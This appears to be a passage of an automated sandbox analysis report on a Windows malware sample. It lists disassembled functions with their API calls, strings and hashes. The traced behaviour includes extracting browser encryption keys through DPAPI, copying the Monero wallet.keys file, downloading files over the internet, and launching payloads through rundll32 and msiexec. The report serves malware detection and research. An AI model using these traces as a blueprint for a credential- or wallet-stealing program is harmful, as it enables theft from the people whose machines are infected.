Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 004196C0: CreateFileA.KERNEL32(00000000,40000000,00000000,00000000,00000002,00000080,00000000,?,00410B85,?,00000000,?,00000000,004205C6,004205C5), ref: 004196E1

CreateProcessA.KERNEL32(00000000,00000000,00000000,00000000,00000001,00000020,00000000,00000000,?,?,00000000,?,00420D88,?,00000000), ref: 00410D5A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 00410D66

Strings

.exe, xrefs: 00410A95

Memory Dump Source

Source File: 00000000.00000002.2280583655.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2280583655.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlenmemset$Create$FileObjectProcessSingleSystemTimeWait
String ID: .exe
API String ID: 1395395982-4119554291
Opcode ID: 74a2b4eb823f66a7a773147b1627efd196d727e2fc86b427189f4ea67f13cdff
Instruction ID: 8c4414bd7b792449c86a3c64e171a12ac7102eaeec46e1acf96b3d3d4dd6cf75
Opcode Fuzzy Hash: 74a2b4eb823f66a7a773147b1627efd196d727e2fc86b427189f4ea67f13cdff
Instruction Fuzzy Hash: A78194B55111186BCB14FBA1CD52FEE7338AF44308F40419EB30A66082DE786AD9CF6E

Function 00419010 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 0041906C

Strings

image/jpeg, xrefs: 00419136

Memory Dump Source

Source File: 00000000.00000002.2280583655.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2280583655.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: CreateGlobalStream
String ID: image/jpeg
API String ID: 2244384528-3785015651
Opcode ID: e883d83a5a88c000208a0b3536991fc9b742a1aee5e23c3149dc995228aa81a1
Instruction ID: d6dc09ab2bfedf2d54b470b914d8c7211c5e4dd185e8bb692af35d1d417654b8
Opcode Fuzzy Hash: e883d83a5a88c000208a0b3536991fc9b742a1aee5e23c3149dc995228aa81a1
Instruction Fuzzy Hash: 7D711B75A40208BBDB04EFE4DC99FEEB7B9FB48300F108509F515A7290DB38A945CB65

Function 004112D0 Relevance: 19.8, APIs: 13, Instructions: 308stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 00411307
strtok_s.MSVCRT ref: 00411750

Part of subcall function 0041A820: lstrlenA.KERNEL32(00000000,?,?,00415B54,00420ADB,00420ADA,?,?,00416B16,00000000,?,0079D410,?,0042110C,?,00000000), ref: 0041A82B
Part of subcall function 0041A820: lstrcpy.KERNEL32(B,00000000), ref: 0041A885

Memory Dump Source

Source File: 00000000.00000002.2280583655.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2280583655.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: strtok_s$lstrcpylstrlen
String ID:
API String ID: 348468850-0
Opcode ID: bde3d88e76cb374dc77a589280481c748b3d98596421ad73c644b27d853b8bc6
Instruction ID: 4a233ae47f87f64f9a2ed81d2cca976e3c75948f423937a2df4e62cfbc7c3e06
Opcode Fuzzy Hash: bde3d88e76cb374dc77a589280481c748b3d98596421ad73c644b27d853b8bc6
Instruction Fuzzy Hash: C7C1D6B5941218ABCB14EF60DC89FEA7379BF54304F00449EF50AA7241DB78AAC5CF95

Function 00412E30 Relevance: 19.7, APIs: 3, Strings: 8, Instructions: 469COMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

ShellExecuteEx.SHELL32(0000003C), ref: 004131C5
ShellExecuteEx.SHELL32(0000003C), ref: 0041335D
ShellExecuteEx.SHELL32(0000003C), ref: 004134EA

Strings

C:\Windows\system32\rundll32.exe, xrefs: 00413332
.msi, xrefs: 00413398
/passive, xrefs: 0041345B
.dll, xrefs: 004131E5
<, xrefs: 00413490
"" , xrefs: 0041309A
C:\Windows\system32\msiexec.exe, xrefs: 004134BF
/i ", xrefs: 004133E4

Memory Dump Source

Source File: 00000000.00000002.2280583655.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2280583655.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: ExecuteShell$lstrcpy
String ID: /i "$ /passive$"" $.dll$.msi$<$C:\Windows\system32\msiexec.exe$C:\Windows\system32\rundll32.exe
API String ID: 2507796910-3625054190
Opcode ID: f416c3abd8d48d8571a1066b95692cbdeaad0712c422f8a8d0e8344c420d34f1
Instruction ID: 17233f41fb1950bff335544576ea1941aa871c2d7c6c7a5a475621d351ca9112
Opcode Fuzzy Hash: f416c3abd8d48d8571a1066b95692cbdeaad0712c422f8a8d0e8344c420d34f1
Instruction Fuzzy Hash: 96125F718111089ADB09FBA1DD92FEEB778AF14314F50415EF10666091EF382BDACF6A

Function 023F44E7 Relevance: 19.7, APIs: 13, Instructions: 202stringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 023F4505
memset.MSVCRT ref: 023F451C

Part of subcall function 023F9047: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 023F9072

lstrcat.KERNEL32(?,00000000), ref: 023F4553
lstrcat.KERNEL32(?,0064A30C), ref: 023F4572
lstrcat.KERNEL32(?,?), ref: 023F4586
lstrcat.KERNEL32(?,0064A5D8), ref: 023F459A

Part of subcall function 023FA9A7: lstrcpy.KERNEL32(00420E17,00000000), ref: 023FA9EF

Part of subcall function 023F8FF7: GetFileAttributesA.KERNEL32(00000000,?,023E1DBB,?,?,00425654,?,?,00420E1F), ref: 023F9006

Part of subcall function 023E9F47: StrStrA.SHLWAPI(00000000,004212AC), ref: 023E9FA0
Part of subcall function 023E9F47: memcmp.MSVCRT(?,0042125C,00000005), ref: 023E9FF9

Part of subcall function 023E9C27: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 023E9C53
Part of subcall function 023E9C27: GetFileSizeEx.KERNEL32(000000FF,?), ref: 023E9C78
Part of subcall function 023E9C27: LocalAlloc.KERNEL32(00000040,?), ref: 023E9C98
Part of subcall function 023E9C27: ReadFile.KERNEL32(000000FF,?,00000000,023E16F6,00000000), ref: 023E9CC1
Part of subcall function 023E9C27: LocalFree.KERNEL32(023E16F6), ref: 023E9CF7
Part of subcall function 023E9C27: CloseHandle.KERNEL32(000000FF), ref: 023E9D01

Part of subcall function 023F9627: GlobalAlloc.KERNEL32(00000000,023F4644,023F4644), ref: 023F963A

StrStrA.SHLWAPI(?,0064A0D8), ref: 023F465A
GlobalFree.KERNEL32(?), ref: 023F4779

Part of subcall function 023E9D27: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,023E5155,00000000,00000000), ref: 023E9D56
Part of subcall function 023E9D27: LocalAlloc.KERNEL32(00000040,?,?,?,023E5155,00000000,?), ref: 023E9D68
Part of subcall function 023E9D27: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,023E5155,00000000,00000000), ref: 023E9D91
Part of subcall function 023E9D27: LocalFree.KERNEL32(?,?,?,?,023E5155,00000000,?), ref: 023E9DA6

Part of subcall function 023EA077: memcmp.MSVCRT(?,00421264,00000003), ref: 023EA094

lstrcat.KERNEL32(?,00000000), ref: 023F470A
StrCmpCA.SHLWAPI(?,004208D1), ref: 023F4727
lstrcat.KERNEL32(00000000,00000000), ref: 023F4739
lstrcat.KERNEL32(00000000,?), ref: 023F474C
lstrcat.KERNEL32(00000000,00420FB8), ref: 023F475B

Memory Dump Source

Source File: 00000000.00000002.2281115890.00000000023E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 023E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23e0000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: lstrcat$FileLocal$AllocFree$BinaryCryptGlobalStringmemcmpmemset$AttributesCloseCreateFolderHandlePathReadSizelstrcpy
String ID:
API String ID: 1191620704-0
Opcode ID: e8d6e6767f46891ec996ef8822d66cebf734f8a34e2b49da607d012598c1f812
Instruction ID: 1069e8b7b2d910bc70e42fea9c0918bd5954cede75d25b87f873fbdcc6768487
Opcode Fuzzy Hash: e8d6e6767f46891ec996ef8822d66cebf734f8a34e2b49da607d012598c1f812
Instruction Fuzzy Hash: 847132B6900218BBDB64FBE0EC45FEE737AAF49300F008598E70996180EA75DB49CF51

Function 00414280 Relevance: 19.7, APIs: 13, Instructions: 202stringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0041429E
memset.MSVCRT ref: 004142B5

Part of subcall function 00418DE0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00418E0B

lstrcatA.KERNEL32(?,00000000), ref: 004142EC
lstrcatA.KERNEL32(?,007CADD0), ref: 0041430B
lstrcatA.KERNEL32(?,?), ref: 0041431F
lstrcatA.KERNEL32(?,007CAB60), ref: 00414333

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 00418D90: GetFileAttributesA.KERNEL32(00000000,?,00410117,?,00000000,?,00000000,00420DAB,00420DAA), ref: 00418D9F

Part of subcall function 00409CE0: StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00409D39
Part of subcall function 00409CE0: memcmp.MSVCRT(?,DPAPI,00000005), ref: 00409D92

Part of subcall function 004099C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004099EC
Part of subcall function 004099C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A11
Part of subcall function 004099C0: LocalAlloc.KERNEL32(00000040,?), ref: 00409A31
Part of subcall function 004099C0: ReadFile.KERNEL32(000000FF,?,00000000,004102E7,00000000), ref: 00409A5A
Part of subcall function 004099C0: LocalFree.KERNEL32(004102E7), ref: 00409A90
Part of subcall function 004099C0: CloseHandle.KERNEL32(000000FF), ref: 00409A9A

Part of subcall function 004193C0: GlobalAlloc.KERNEL32(00000000,004143DD,004143DD), ref: 004193D3

StrStrA.SHLWAPI(?,007CC788), ref: 004143F3
GlobalFree.KERNEL32(?), ref: 00414512

Part of subcall function 00409AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N@,00000000,00000000), ref: 00409AEF
Part of subcall function 00409AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00404EEE,00000000,?), ref: 00409B01
Part of subcall function 00409AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N@,00000000,00000000), ref: 00409B2A
Part of subcall function 00409AC0: LocalFree.KERNEL32(?,?,?,?,00404EEE,00000000,?), ref: 00409B3F

Part of subcall function 00409E10: memcmp.MSVCRT(?,v20,00000003), ref: 00409E2D

lstrcatA.KERNEL32(?,00000000), ref: 004144A3
StrCmpCA.SHLWAPI(?,004208D1), ref: 004144C0
lstrcatA.KERNEL32(00000000,00000000), ref: 004144D2
lstrcatA.KERNEL32(00000000,?), ref: 004144E5
lstrcatA.KERNEL32(00000000,00420FB8), ref: 004144F4

Memory Dump Source

Source File: 00000000.00000002.2280583655.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2280583655.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: lstrcat$FileLocal$AllocFree$BinaryCryptGlobalStringmemcmpmemset$AttributesCloseCreateFolderHandlePathReadSizelstrcpy
String ID:
API String ID: 1191620704-0
Opcode ID: 0c9d0826f05218bba3054023445b60d50c1f9f43ea0f6b816602f798d9ef3330
Instruction ID: 36ee7f3ac4f34f2e69ac811a17adbc1f593ee72d5fdd25ff7e799b1d0bb6bc25
Opcode Fuzzy Hash: 0c9d0826f05218bba3054023445b60d50c1f9f43ea0f6b816602f798d9ef3330
Instruction Fuzzy Hash: 0B7165B6900208BBDB14FBE0DC85FEE7379AB88304F00459DF605A7181EA78DB55CB95

Function 00401310 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 139stringfileCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00401327

Part of subcall function 004012A0: GetProcessHeap.KERNEL32(00000000,00000104,80000001), ref: 004012B4
Part of subcall function 004012A0: HeapAlloc.KERNEL32(00000000), ref: 004012BB
Part of subcall function 004012A0: RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 004012D7
Part of subcall function 004012A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,000000FF,000000FF), ref: 004012F5
Part of subcall function 004012A0: RegCloseKey.ADVAPI32(?), ref: 004012FF

lstrcatA.KERNEL32(?,00000000), ref: 0040134F
lstrlenA.KERNEL32(?), ref: 0040135C
lstrcatA.KERNEL32(?,.keys), ref: 00401377

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 00418B60: GetSystemTime.KERNEL32(?,00799AC8,004205AE,?,?,?,?,?,?,?,?,?,00404963,?,00000014), ref: 00418B86

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

CopyFileA.KERNEL32(?,00000000,00000001), ref: 00401465

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 004099C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004099EC
Part of subcall function 004099C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A11
Part of subcall function 004099C0: LocalAlloc.KERNEL32(00000040,?), ref: 00409A31
Part of subcall function 004099C0: ReadFile.KERNEL32(000000FF,?,00000000,004102E7,00000000), ref: 00409A5A
Part of subcall function 004099C0: LocalFree.KERNEL32(004102E7), ref: 00409A90
Part of subcall function 004099C0: CloseHandle.KERNEL32(000000FF), ref: 00409A9A

DeleteFileA.KERNEL32(00000000), ref: 004014EF
memset.MSVCRT ref: 00401516

Strings

\Monero\wallet.keys, xrefs: 0040138D
wallet_path, xrefs: 00401330
.keys, xrefs: 0040136B
SOFTWARE\monero-project\monero-core, xrefs: 00401335

Memory Dump Source

Source File: 00000000.00000002.2280583655.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2280583655.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$AllocCloseHeapLocallstrlenmemset$CopyCreateDeleteFreeHandleOpenProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 1930502592-218353709
Opcode ID: 6cf062c6fd381a6a74660f90b2272ae47e9394fe5276f9f8339e4e4fc0c12990
Instruction ID: 456b5fac361f61c5265e43a16bd15ab14158e39c7f71a6669150f14a30e0c61c
Opcode Fuzzy Hash: 6cf062c6fd381a6a74660f90b2272ae47e9394fe5276f9f8339e4e4fc0c12990
Instruction Fuzzy Hash: 565164B1D5011897CB15FB61DD91BED733CAF54304F4041ADB60A62092EE385BD9CBAA

Function 004152C0 Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 138stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 00406280: InternetOpenA.WININET(00420DFE,00000001,00000000,00000000,00000000), ref: 004062E1
Part of subcall function 00406280: StrCmpCA.SHLWAPI(?,007CC908), ref: 00406303
Part of subcall function 00406280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406335
Part of subcall function 00406280: HttpOpenRequestA.WININET(00000000,GET,?,007CC638,00000000,00000000,00400100,00000000), ref: 00406385
Part of subcall function 00406280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 004063BF
Part of subcall function 00406280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 004063D1

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00415318
lstrlenA.KERNEL32(00000000), ref: 0041532F

Part of subcall function 00418E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00418E52

StrStrA.SHLWAPI(00000000,00000000), ref: 00415364
lstrlenA.KERNEL32(00000000), ref: 00415383
strtok.MSVCRT(00000000,?), ref: 0041539E
lstrlenA.KERNEL32(00000000), ref: 004153AE

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Strings

ERROR, xrefs: 00415432
ERROR, xrefs: 0041546F
ERROR, xrefs: 004154A9
ERROR, xrefs: 004153B9
ERROR, xrefs: 0041530A

Memory Dump Source

Source File: 00000000.00000002.2280583655.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2280583655.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: Internetlstrcpylstrlen$HttpOpenRequest$AllocConnectLocalOptionSendstrtok
String ID: ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3532888709-1526165396
Opcode ID: 55afdb5b044d9d0ae2ca40548a036d1fafadf4502d9a6ff2b082a7fa121a3b9b
Instruction ID: 2e955e57ea7f1c083e6e45f715f374ff83ee784ca3e0e9be4ff8c8b21657e330
Opcode Fuzzy Hash: 55afdb5b044d9d0ae2ca40548a036d1fafadf4502d9a6ff2b082a7fa121a3b9b
Instruction Fuzzy Hash: 1A514130911108EBCB14FF61CD92AED7779AF50358F50402EF80A6B591DF386B96CB6A

Function 004060A0 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 004047EA
Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404801
Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404818
Part of subcall function 004047B0: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404839
Part of subcall function 004047B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404849

InternetOpenA.WININET(00420DF7,00000001,00000000,00000000,00000000), ref: 0040610F
StrCmpCA.SHLWAPI(?,007CC908), ref: 00406147
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 0040618F
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 004061B3
InternetReadFile.WININET(a+A,?,00000400,?), ref: 004061DC
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 0040620A
CloseHandle.KERNEL32(?,?,00000400), ref: 00406249
InternetCloseHandle.WININET(a+A), ref: 00406253
InternetCloseHandle.WININET(00000000), ref: 00406260

Strings

a+A, xrefs: 004060B0, 0040617F, 00406266, 00406124, 004060B3
a+A, xrefs: 0040624F, 004061D8, 004061DB, 00406252

Memory Dump Source

Source File: 00000000.00000002.2280583655.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2280583655.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: Internet$??2@CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID: a+A$a+A
API String ID: 4287319946-2847607090
Opcode ID: 4f54e106c83d2cad8501facd8a7162983f10c7e98b0fc324723d48a002eab14d
Instruction ID: d3b4a7caf446de9355e244355c8e16b321895ac976a44b0a7cc1b08be2cc8b72
Opcode Fuzzy Hash: 4f54e106c83d2cad8501facd8a7162983f10c7e98b0fc324723d48a002eab14d
Instruction Fuzzy Hash: 735194B5940218ABDB20EF90DC45BEE77B9EB04305F1040ADB606B71C0DB786A85CF9A

Function 023F0CC7 Relevance: 18.2, APIs: 12, Instructions: 205stringprocesssynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 023FA9A7: lstrcpy.KERNEL32(00420E17,00000000), ref: 023FA9EF

memset.MSVCRT ref: 023F0E83
lstrcat.KERNEL32(?,00000000), ref: 023F0E9C
lstrcat.KERNEL32(?,00420D7C), ref: 023F0EAE
lstrcat.KERNEL32(?,00000000), ref: 023F0EC4
lstrcat.KERNEL32(?,00420D80), ref: 023F0ED6
lstrcat.KERNEL32(?,00000000), ref: 023F0EEF
lstrcat.KERNEL32(?,00420D84), ref: 023F0F01
lstrlen.KERNEL32(?), ref: 023F0F0E
memset.MSVCRT ref: 023F0F34
memset.MSVCRT ref: 023F0F48

Part of subcall function 023FAA87: lstrlen.KERNEL32(023E516C,?,?,023E516C,00420DDE), ref: 023FAA92
Part of subcall function 023FAA87: lstrcpy.KERNEL32(00420DDE,00000000), ref: 023FAAEC

Part of subcall function 023F8DC7: GetSystemTime.KERNEL32(00420E1A,0064A2A4,004205AE,?,?,023E1660,?,0000001A,00420E1A,00000000,?,0064A1F0,?,00424FB4,00420E17), ref: 023F8DED

Part of subcall function 023FAB87: lstrcpy.KERNEL32(00000000,?), ref: 023FABD9
Part of subcall function 023FAB87: lstrcat.KERNEL32(00000000), ref: 023FABE9

Part of subcall function 023FAC17: lstrlen.KERNEL32(?,0064A1F0,?,00424FB4,00420E17), ref: 023FAC2C
Part of subcall function 023FAC17: lstrcpy.KERNEL32(00000000), ref: 023FAC6B
Part of subcall function 023FAC17: lstrcat.KERNEL32(00000000,00000000), ref: 023FAC79

Part of subcall function 023FAB07: lstrcpy.KERNEL32(?,00420E17), ref: 023FAB6C

Part of subcall function 023FAA07: lstrcpy.KERNEL32(?,00000000), ref: 023FAA4D

Part of subcall function 023F9927: CreateFileA.KERNEL32(00000000,40000000,00000000,00000000,00000002,00000080,00000000,?,023F0DEC,?,00000000,?,00000000,004205C6,004205C5), ref: 023F9948

CreateProcessA.KERNEL32(00000000,00000000,00000000,00000000,00000001,00000020,00000000,00000000,?,?,00000000,?,00420D88,?,00000000), ref: 023F0FC1
WaitForSingleObject.KERNEL32(?,000000FF), ref: 023F0FCD

Memory Dump Source

Source File: 00000000.00000002.2281115890.00000000023E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 023E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23e0000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlenmemset$Create$FileObjectProcessSingleSystemTimeWait
String ID:
API String ID: 1395395982-0
Opcode ID: 611dee48b04e9e0e2afdbc6d63dcd8839025fdd060787a2fa850c35645432629
Instruction ID: 52ca99f83d97fca1d1fda13364703c2626a4c31afde44cce7df421438861be9e
Opcode Fuzzy Hash: 611dee48b04e9e0e2afdbc6d63dcd8839025fdd060787a2fa850c35645432629
Instruction Fuzzy Hash: E68196B5540218ABCB64EBA0ED51FED733AAF54304F4041A9B30E66091EF746F88CF59

Function 023F0CB6 Relevance: 18.2, APIs: 12, Instructions: 185stringprocesssynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 023FA9A7: lstrcpy.KERNEL32(00420E17,00000000), ref: 023FA9EF

memset.MSVCRT ref: 023F0E83
lstrcat.KERNEL32(?,00000000), ref: 023F0E9C
lstrcat.KERNEL32(?,00420D7C), ref: 023F0EAE
lstrcat.KERNEL32(?,00000000), ref: 023F0EC4
lstrcat.KERNEL32(?,00420D80), ref: 023F0ED6
lstrcat.KERNEL32(?,00000000), ref: 023F0EEF
lstrcat.KERNEL32(?,00420D84), ref: 023F0F01
lstrlen.KERNEL32(?), ref: 023F0F0E
memset.MSVCRT ref: 023F0F34
memset.MSVCRT ref: 023F0F48

Part of subcall function 023FAA87: lstrlen.KERNEL32(023E516C,?,?,023E516C,00420DDE), ref: 023FAA92
Part of subcall function 023FAA87: lstrcpy.KERNEL32(00420DDE,00000000), ref: 023FAAEC

Part of subcall function 023F8DC7: GetSystemTime.KERNEL32(00420E1A,0064A2A4,004205AE,?,?,023E1660,?,0000001A,00420E1A,00000000,?,0064A1F0,?,00424FB4,00420E17), ref: 023F8DED

Part of subcall function 023FAB87: lstrcpy.KERNEL32(00000000,?), ref: 023FABD9
Part of subcall function 023FAB87: lstrcat.KERNEL32(00000000), ref: 023FABE9

Part of subcall function 023FAC17: lstrlen.KERNEL32(?,0064A1F0,?,00424FB4,00420E17), ref: 023FAC2C
Part of subcall function 023FAC17: lstrcpy.KERNEL32(00000000), ref: 023FAC6B
Part of subcall function 023FAC17: lstrcat.KERNEL32(00000000,00000000), ref: 023FAC79

Part of subcall function 023FAB07: lstrcpy.KERNEL32(?,00420E17), ref: 023FAB6C

Part of subcall function 023FAA07: lstrcpy.KERNEL32(?,00000000), ref: 023FAA4D

